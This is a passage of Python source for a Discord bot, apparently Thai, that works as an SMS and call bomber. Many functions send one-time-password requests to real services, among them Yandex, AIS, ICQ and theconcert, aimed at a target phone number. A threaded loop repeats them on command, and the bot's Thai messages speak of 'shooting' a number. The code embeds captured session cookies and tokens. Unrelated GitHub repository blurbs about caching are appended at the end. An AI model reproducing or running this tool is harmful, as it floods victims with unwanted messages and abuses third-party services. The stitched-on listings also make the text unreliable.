post("https://www.fooddiaryonlineshop.com/RegisterNewCustomer",headers=header,data=f"__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=Ble7%2FRYu%2F1RjtS%2FfO9KgKdBWKCntkuS%2F0x7Qh6w4mnY7kV82h741dj1JFc5xnFbW7yacbboe0%2B5nTVVF%2BFSGEHQvaTkL4HQ5qDJbZMBQEt73YZZ%2FZON2LWw193tcYCjDwL3y3vy3lks%2BduyUOCNMwlwNpfrPDsvbhgT4qDCekWgvnnFrzFGCtQYO6cTU3Lax6YpvUbBld0oKgkWcHg0efFp3K2S2fLx%2BK4oTVGr6bq1QdKl5uPHqtL04IHkdy7X6Wbf6lUTQgOa5q5wLfE2KUGHWUUsYjahMwHmRCaVSxB7P1eDmiZ%2BQNku9pHs7m50GtCSePXPSfYtFBumDCM2R1XklFOdYV4X1jJgt%2Fe3MGV1Xmj7cRE%2FsBk1u%2FMYfN%2BmXb5dxruqgDuhXAnWP%2F8Syot1XGEUtVclmfF5NIB0KkCu6He8dheN%2BhEkupLqzP6Ip6OAMNnvssm1rMngwDy7ipCNC3dPXMj83IpBuuD1LWbPr3x3ksf0%2FrGL4yM7jvr8a99ifPcJPcmJzY%2Feay0PKwdwA3u2KTyCoXVgMZwqvsdRoyRHlFooZ3AHoBNsQrkegtyk5eHtjpBTLHD1dzQT3R%2FRaYIbencMw%2B5BbVJWiPzVTXF%2BiQ9A64UcUP9adMciJa7TudfL331vSRd%2FwVMkA%2B1fDtVrfBBi8%2BHbta7BsuVjk0ZodiLMuloOsYaTSilSLmidUpEZFsj0Zhz%2FpwGu%2FGKMixcG95PmRkOdpAj4d2D8%3D&__VIEWSTATEGENERATOR=94756D41&ctl00%24MainContent%24PageGUIDForSession=&ctl00%24MainContent%24rdEmail=U&ctl00%24MainContent%24rdMobile=C&ctl00%24MainContent%24cbpEmptry%24txtMobileNo%24State=%7B%26quot%3BrawValue%26quot%3B%3A%26quot%3B{phone}%26quot%3B%2C%26quot%3BvalidationState%26quot%3B%3A%26quot%3B%26quot%3B%7D&ctl00%24MainContent%24cbpEmptry%24txtMobileNo=0958816629&ctl00%24MainContent%24cbpEmptry%24txtOTP%24State=%7B%26quot%3BrawValue%26quot%3B%3A%26quot%3B%26quot%3B%2C%26quot%3BvalidationState%26quot%3B%3A%26quot%3B%26quot%3B%7D&ctl00%24MainContent%24cbpEmptry%24txtOTP=&ctl00%24MainContent%24cbpEmptry%24chkRead=U&ctl00%24MainContent%24cbpEmptry%24chkConsent=U&DXScript=1_16%2C1_17%2C1_28%2C1_66%2C1_18%2C1_19%2C1_20%2C1_21%2C1_224%2C1_225%2C1_230%2C1_229%2C1_51%2C1_22%2C1_14%2C1_226%2C1_52&DXCss=1_248%2C1_69%2C1_71%2C1_250%2C1_247%2C1_75%2C1_74%2C1_251%2C%2FContent%2Fcss%3Fv%3DFILIkBdKK0FrNSvnRmezf5qTxic9NR7FOzzIJ8iQAKQ1%2Cfavicon.ico%2C..%2F..%2FContent%2Fbootstrap.min.css%2CStyles%2Fbutton.css&__CALLBACKID=ctl00%24MainContent%24cbpEmptry&__CALLBACKPARAM=c0%3ARequestOTP&__EVENTVALIDATION=N%2FlR5TtQKjdRNUQy0QFSjIjFW06D%2Fdy2VFm5Zl%2FTN%2FlsEYUsQVZwH8qpQ5sFzI0PBX2ZLH3HhxXkkZRvuada%2Bu6zsHxSgV3In38ahlf75%2Blm%2BguMSbwp%2FSxuo4Cc3cm5ZFVYYR9eVfvdwG4YsxWYbA%3D%3D") #yandex def api100(phone): post("https://passport.yandex.com/registration-validations/phone-confirm-code-submit",headers=header,data=f"track_id=b3dc4a29a19d038f1cd522187726d7bb5a&csrf_token=e150046ff026a517c15d45444294ffa3275b140c%3A1645857142788&number={phone}&isCodeWithFormat=true&confirm_method=by_sms") def api101(phone): session = Session() ReqTOKEN = session.get("https://srfng.ais.co.th/Lt6YyRR2Vvz%2B%2F6MNG9xQvVTU0rmMQ5snCwKRaK6rpTruhM%2BDAzuhRQ%3D%3D?redirect_uri=https%3A%2F%2Faisplay.ais.co.th%2Fportal%2Fcallback%2Ffungus%2Fany&httpGenerate=generated", headers={"User-Agent": useragent}).text res=session.post("https://srfng.ais.co.th/api/v2/login/sendOneTimePW", data=f"msisdn=66{phone[1:]}&serviceId=AISPlay&accountType=all&otpChannel=sms",headers={"User-Agent": useragent,"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "authorization": f'''Bearer {search("""<input type="hidden" id='token' value="(.*)">""", ReqTOKEN).group(1)}'''}) def api102(phone): post("https://api.zaapi.co/api/store/auth/otp/login",json={"phoneNumber":f"+66{phone[1:]}","namespace":"zaapi-buyers"},headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36"}) def api103(phone): get(f"https://bkk-api.ks-it.co/Vcode/register?country_code=66&phone={phone}&sms_type=1&user_type=2&app_version=4.3.25&device_id=79722530562d973f&app_device_param=%7B%22os%22%3A%22Android%22%2C%22app_version%22%3A%224.3.25%22%2C%22model%22%3A%22A37f%22%2C%22os_ver%22%3A%225.1.1%22%2C%22ble%22%3A%220%22%7D&language=th&token=") #OTP_SMS def api104(phone): post("https://www.vegas77slots.com/auth/send_otp",data=f"phone={phone}&otp=&password=&bank=&bank_number=&full_name=&ref=21076",headers={"content-type": "application/x-www-form-urlencoded","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","cookie": "vegas77slots=pj5kj4ovnk2fao1sbaid2eb76l1iak7b"}) #privacy def api105(phone): post("https://ipro356.com/wp-content/themes/hello-elementor/modules/index.php",data=f"method=wpRegisterotp&otp_tel={phone}",headers={"content-type": "application/x-www-form-urlencoded; charset=UTF-8","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","cookie": "PHPSESSID=vtacuje1no166kkp4d40nolak5"}) #kaspy def api106(phone): post("https://kaspy.com/sms/sms.php/",data=f"phone={phone}",headers={"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8","User-Agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","Cookie": "PHPSESSID=2i484jdb1pie5am071cveupme5; mage-cache-storage=%7B%7D; mage-cache-storage-section-invalidation=%7B%7D; mage-cache-sessid=true; form_key=rUt4Q17TiRlUfgKz; _ga=GA1.2.1486915122.1646803642; _gid=GA1.2.1348564830.1646803642; _fbp=fb.1.1646803643605.1538052508; mage-messages=; recently_viewed_product=%7B%7D; recently_viewed_product_previous=%7B%7D; recently_compared_product=%7B%7D; recently_compared_product_previous=%7B%7D; product_data_storage=%7B%7D; smartbanner_exited=1; __atuvc=2%7C10; __atuvs=62283aaa77850300001; _gat=1; private_content_version=382c8a313cac3cd587475c1b3693672e; section_data_ids=%7B%22cart%22%3A1646803701%2C%22customer%22%3A1646803701%2C%22compare-products%22%3A1646803701%2C%22last-ordered-items%22%3A1646803701%2C%22directory-data%22%3A1646803701%2C%22captcha%22%3A1646803701%2C%22instant-purchase%22%3A1646803701%2C%22persistent%22%3A1646803701%2C%22review%22%3A1646803701%2C%22wishlist%22%3A1646803701%2C%22chatData%22%3A1646803701%2C%22recently_viewed_product%22%3A1646803701%2C%22recently_compared_product%22%3A1646803701%2C%22product_data_storage%22%3A1646803701%2C%22paypal-billing-agreement%22%3A1646803701%2C%22messages%22%3A1646803708%7D"}) def api107(phone): post("https://u.icq.net/api/v65/rapi/auth/sendCode", headers={"User-Agent": useragent}, json={"reqId":"39816-1633012470","params":{"phone": f"+66{phone[1:]}","language":"en-US","route":"sms","devId":"ic1rtwz1s1Hj1O0r","application":"icq"}}) def call1(phone): post("https://www.theconcert.com/rest/request-otp",json={"mobile":phone,"country_code":"TH","lang":"th","channel":"call","digit":4},headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","cookie": "_gcl_au=1.1.708266966.1646798262;_fbp=fb.1.1646798263293.934490162;_gid=GA1.2.1869205174.1646798265;__gads=ID=3a9d3224d965d1d5-2263d5e0ead000a6:T=1646798265:RT=1646798265:S=ALNI_MZ7vpsoTaLNez288scAjLhIUalI6Q;_ga=GA1.2.2049889473.1646798264;_gat_UA-133219660-2=1;_ga_N9T2LF0PJ1=GS1.1.1646798262.1.1.1646799146.0;adonis-session=a5833f7b41f8bc112c05ff7f5fe3ed6fONCSG8%2Fd2it020fnejGzFhf%2BeWRoJrkYZwCGrBn6Ig5KK0uAhDeYZZgjdJeWrEkd2QqanFeA2r8s%2FXf7hI1zCehOFlqYcV7r4s4UQ7DuFMpu4ZJ45hicb4xRhrJpyHUA;XSRF-TOKEN=aacd25f1463569455d654804f2189bc77TyRxsqGOH%2FFozctmiwq6uL6Y4hAbExYamuaEw%2FJqE%2FrWzfaNdyMEtwfkls7v8UUNZ%2BFWMqd9pYvjGolK9iwiJm5NW34rWtFYoNC83P0DdQpoiYfm%2FKWn1DuSBbrsEkV"}) #https://swagger.io/specification/ def startall(phone, amount): for x in range(amount): threading.submit(sk1, phone) threading.submit(sk2, phone) threading.submit(sk3, phone) threading.submit(sk4, phone) threading.submit(sk5, phone) threading.submit(sk6, phone) threading.submit(sk7, phone) threading.submit(sk8, phone) threading.submit(sk9, phone) threading.submit(sk10, phone) threading.submit(sk11, phone) threading.submit(sk12, phone) threading.submit(sk13, phone) threading.submit(sk14, phone) threading.submit(sk15, phone) threading.submit(sk16, phone) threading.submit(sk17, phone) threading.submit(sk18, phone) threading.submit(sk19, phone) threading.submit(sk20, phone) threading.submit(sk21, phone) threading.submit(sk22, phone) threading.submit(sk23, phone) threading.submit(sk24, phone) threading.submit(sk25, phone) threading.submit(sk26, phone) threading.submit(sk27, phone) threading.submit(sk28, phone) threading.submit(sk29, phone) threading.submit(sk30, phone) threading.submit(sk31, phone) threading.submit(sk32, phone) threading.submit(p1112v2, phone) threading.submit(yandex, phone) threading.submit(p1112, phone) threading.submit(okru, phone) threading.submit(karusel, phone) threading.submit(icq, phone) threading.submit(findclone, phone) threading.submit(spam_pizza, phone) threading.submit(youla, phone) threading.submit(instagram, phone) threading.submit(VBC, phone) threading.submit(api1, phone) threading.submit(api2, phone) threading.submit(api3, phone) threading.submit(api4, phone) threading.submit(api5, phone) threading.submit(api6, phone) threading.submit(api7, phone) threading.submit(api8, phone) threading.submit(api9, phone) threading.submit(api10, phone) threading.submit(api11, phone) threading.submit(api12, phone) threading.submit(api13, phone) threading.submit(api14, phone) threading.submit(api15, phone) threading.submit(api16, phone) threading.submit(api17, phone) threading.submit(api18, phone) threading.submit(api19, phone) threading.submit(api22, phone) threading.submit(api21, phone) threading.submit(api23, phone) threading.submit(api24, phone) threading.submit(api25, phone) threading.submit(api26, phone) threading.submit(api27, phone) threading.submit(api28, phone) threading.submit(api29, phone) threading.submit(api30, phone) threading.submit(api31, phone) threading.submit(api32, phone) threading.submit(api33, phone) threading.submit(api34, phone) threading.submit(api35, phone) threading.submit(api36, phone) threading.submit(api37, phone) threading.submit(api38, phone) threading.submit(api39, phone) threading.submit(api40, phone) threading.submit(api41, phone) threading.submit(api42, phone) threading.submit(api43, phone) threading.submit(api44, phone) threading.submit(api45, phone) threading.submit(api46, phone) threading.submit(api47, phone) threading.submit(api48, phone) threading.submit(api49, phone) threading.submit(api50, phone) threading.submit(api51, phone) threading.submit(api52, phone) threading.submit(api53, phone) threading.submit(api54, phone) threading.submit(api55, phone) threading.submit(api56, phone) threading.submit(api57, phone) threading.submit(api58, phone) threading.submit(api59, phone) threading.submit(api60, phone) threading.submit(api61, phone) threading.submit(api62, phone) threading.submit(api63, phone) threading.submit(api64, phone) threading.submit(api65, phone) threading.submit(api66, phone) threading.submit(api67, phone) threading.submit(api68, phone) threading.submit(api69, phone) threading.submit(api70, phone) threading.submit(api71, phone) threading.submit(api72, phone) threading.submit(api73, phone) threading.submit(api74, phone) threading.submit(api75, phone) threading.submit(api76, phone) threading.submit(api77, phone) threading.submit(api79, phone) threading.submit(api80, phone) threading.submit(api88, phone) threading.submit(api89, phone) threading.submit(api90, phone) threading.submit(api91, phone) threading.submit(api92, phone) threading.submit(api93, phone) threading.submit(api94, phone) threading.submit(api95, phone) threading.submit(api96, phone) threading.submit(api97, phone) threading.submit(api98, phone) threading.submit(api99, phone) threading.submit(api100, phone) threading.submit(api101, phone) threading.submit(api102, phone) threading.submit(api103, phone) threading.submit(api104, phone) threading.submit(api105, phone) threading.submit(api106, phone) threading.submit(api107, phone) threading.submit(call1, phone) @bot.event async def on_command_error(ctx, error): print(str(error)) @bot.event async def on_ready(): await bot.change_presence(status=discord.Status.idle, activity=discord.Activity(type=discord.ActivityType.playing, name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌')) print(gratient.purple(f" Login as : {bot.user.name}#{bot.user.discriminator}")) @bot.command() @commands.has_role('//') async def help(ctx): await ctx.message.delete() embed=discord.Embed( description=f"```command ⚙️ : {PREFIX}sms Phone Amount : 1 - {str(LIMIT)} : messgae```", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://i.pinimg.com/originals/70/a5/52/70a552e8e955049c8587b2d7606cd6a6.gif') embed.set_image(url='https://cdn.discordapp.com/attachments/945589995647926293/961138791165329488/D92BA985-A039-4765-863B-CAA1BC1F8629.png') await ctx.send(embed=embed) @bot.command() async def sms(ctx, phone=None, amount=None): if (str(ctx.message.channel.id) == '1002168628046737418'): if (phone == None or amount == None): embed=discord.Embed( description="```#กรุณาใส่ข้อมูลให้ครบถ้วน#```", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://media.discordapp.net/attachments/680449178626818065/909437371097972747/794404253744496642.gif') embed.set_image(url='https://cdn.discordapp.com/attachments/945589995647926293/961138791165329488/D92BA985-A039-4765-863B-CAA1BC1F8629.png') await ctx.send(embed=embed,) else: if (phone not in blacklist): try: amount = int(amount) if (amount > LIMIT): embed=discord.Embed( description=f":alarm_clock: : ใส่ไม่เกิน {LIMIT} นาที.", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://media.discordapp.net/attachments/680449178626818065/909437371097972747/794404253744496642.gif') embed.set_image(url='https://cdn.discordapp.com/attachments/945589995647926293/961138791165329488/D92BA985-A039-4765-863B-CAA1BC1F8629.png') await ctx.send(embed=embed,) await ctx.message.delete() else: embed=discord.Embed( description=f"เบอร์ 📱 : ||{phone}|| \nสถานะ :envelope_with_arrow: : สุ่ม \nเป็นเวลา :bar_chart: : {amount} นาที", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://i.pinimg.com/originals/70/a5/52/70a552e8e955049c8587b2d7606cd6a6.gif') embed.set_image(url='https://media.discordapp.net/attachments/1002879972219834408/1003142533062332506/standard.gif') await ctx.send(embed=embed,) startall(phone, amount) await ctx.message.delete() except: embed=discord.Embed( description=":clipboard: : ใส่เบอร์คนที่จะยิงให้ถูก. ", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://media.discordapp.net/attachments/680449178626818065/909437371097972747/794404253744496642.gif') embed.set_image(url='https://media.discordapp.net/attachments/1002879972219834408/1003142533062332506/standard.gif') await ctx.message.delete() await ctx.send(embed=embed,delete_after=10) else: embed=discord.Embed( description=f":face_with_symbols_over_mouth: : อย่ายิงเบอร์กู : :face_with_symbols_over_mouth: ", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://i.pinimg.com/originals/70/a5/52/70a552e8e955049c8587b2d7606cd6a6.gif') embed.set_image(url='https://cdn.discordapp.com/attachments/945589995647926293/961138791165329488/D92BA985-A039-4765-863B-CAA1BC1F8629.png') await ctx.send(embed=embed,) await ctx.message.delete() else: embed=discord.Embed( description=":chart_with_downwards_trend: : ใส่ให้ภูกห้องไอควาย \n #〖📩〗-»《. ", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name=' 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://media.discordapp.net/attachments/680449178626818065/909437371097972747/794404253744496642.gif') embed.set_image(url='https://cdn.discordapp.com/attachments/945589995647926293/961138791165329488/D92BA985-A039-4765-863B-CAA1BC1F8629.png') await ctx.send(embed=embed,) await ctx.message.delete() bot.run(TOKEN, reconnect=True)
wvanderdeijl / Nx Remotecache GcsTask runner for @nrwl/nx with remote caching using Google Cloud Storage
aws-samples / Amazon Cloudfront Cache GraphqlNo description available
sidrao2006 / Dynamic Cached FontsA font loader to download, cache and load web fonts in flutter with support for Firebase Cloud Storage.
stevesong / Cloud Cdn CacheCDN and Cloud Infrastructure location data, geo-located from corporate location lists.
binded / Persistent MemoizeMemoize across time & processes. Caches to your local file system, Amazon S3, Google Drive, Google Cloud, PostgreSQL or even BitTorrent :wink: